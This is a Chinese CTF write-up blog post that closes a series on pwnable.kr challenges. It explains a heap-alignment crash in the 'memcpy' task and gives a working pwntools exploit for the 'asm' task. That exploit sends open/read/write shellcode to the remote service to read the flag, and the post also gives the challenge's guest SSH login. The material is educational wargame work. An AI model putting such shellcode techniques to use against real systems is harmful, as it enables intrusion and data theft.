zoukankan      html  css  js  c++  java
  • 萌新带你开车上p站(完结篇)

    本文作者:萌新

    前情回顾:

    萌新带你开车上p站(一)

    萌新带你开车上p站(二)

    萌新带你开车上P站(三)

    萌新带你开车上P站(IV)

    回顾一下前篇,我们开始新的内容吧

    0x16memcpy


     

    源码在http://pwnable.kr/bin/memcpy.c

    直接编译可能会报错,根据报错提示是因为缺少相应的头文件

    因为编译选项-m32:编译出来的是32位程序,既可以在32位操作系统运行,又可以在64位操作系统运行。这就需要multilib,它可以支持在64位机器上生成32位和64位的文件。

    如图所示解决即可:apt-get install gcc-multilib

    pwnable.krToddlr’s Bottle题解5修改版202.png

    接下来就可以了

    pwnable.krToddlr’s Bottle题解5修改版212.png

    测试运行

    pwnable.krToddlr’s Bottle题解5修改版219.png

    没有拿到flag

    关键点:

    pwnable.krToddlr’s Bottle题解5修改版235.png

    程序打印10轮在2的各次幂,要求用户依次输入10个满足该区间的数,然后根据用户的输入malloc()在堆上进行分配。然后分别通过slow_memcpy,fats_memcpy进行src到dst的拷贝操作。比较花费的时间。

    pwnable.krToddlr’s Bottle题解5修改版348.png

    由上图可知,slow_memcpy是单个单个字节复制,而fast_copy在复制的字节数小于64时用slow的,大于64时,通过内联汇汇编,使用sse2的指令集movdqa,movntps借助寄存器复制

    pwnable.krToddlr’s Bottle题解5修改版452.png

    pwnable.krToddlr’s Bottle题解5修改版454.png

    可知,操作数应按16字节对齐

    所以出错的原因就是在这儿

    传给fast_memcpy的dst是malloc返回的

    而我们知道,malloc在分配时会多分配4字节用于存储堆的其他信息,而且会进行8字节的自动补齐,最后返回开启的起始地址

    换句话说,只要malloc每次请求大小为16字节对齐的空间就满足条件了

    设传给malloc的为a,则满足(a+4)%16>9或者(a+4)%16=0即可

    这里给出一组符合条件的值

    8 26 38 69 136 264 520 1032 2056 4104

     

    0x17 asm


     

    源码比较长,可以ssh asm@pwnable.kr -p2222 (pw: guest)登录后自行查看

    这里给出关键点:

    做了一个沙箱的环境

    pwnable.krToddlr’s Bottle题解5修改版786.png

    只给我们留下了open,read,werite,exit等方法

    一段stub

    pwnable.krToddlr’s Bottle题解5修改版827.png

    转成汇编

    pwnable.krToddlr’s Bottle题解5修改版834.png

    可以看到作用是清空各个寄存器

    pwnable.krToddlr’s Bottle题解5修改版851.png

    sh由mmap分配,然后插入stub,再读我们的shellcode,设置沙箱

    沙箱规则已经解释过了,可想可知,我们的shellcode该做的就是open打开flag,read读取,然后使用write将flag写到标准输出上

    pwntools的shellcraft可用于生成shellcode

    这三个函数在pwntools的原型

    pwnable.krToddlr’s Bottle题解5修改版1017.png

    pwnable.krToddlr’s Bottle题解5修改版1019.png

    pwnable.krToddlr’s Bottle题解5修改版1021.png

    在调用open函数后文件描述符fd在rax中,rsp为栈指针寄存器,指向buf

    fd=1代表标准输出,所以得到下面的exp

     

    from pwn import *
    
    context.arch = "amd64"
    context.os = "linux"
    
    p = remote("pwnable.kr", 9026)
    shellcode = ""
    filename  = "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong"
    shellcode += shellcraft.open(filename)
    shellcode += shellcraft.read('rax', 'rsp', 100)
    shellcode += shellcraft.write(1, 'rsp', 100)
    
    
    p.recvuntil("shellcode: ")
    p.send(asm(shellcode))
    print p.recv()
    

     

     运行后拿到flag

    pwnable.krToddlr’s Bottle题解5修改版1650.png

  • 相关阅读:
    Oracle完全卸载
    Oracle数据库(64位) 及 PLSQL(64位)的组合安装【第一篇】
    Yii2 配置yii2redis扩展
    php 获取每个汉字的拼音首字母
    linux 安装memcacheq
    php在linux中执行外部命令
    比较两个日期的时间差精确到秒
    mysql 的 备份与还原
    php类中__get和__set的用法
    yii2.0 安装
  • 原文地址:https://www.cnblogs.com/hetianlab/p/12742357.html
Copyright © 2011-2022 走看看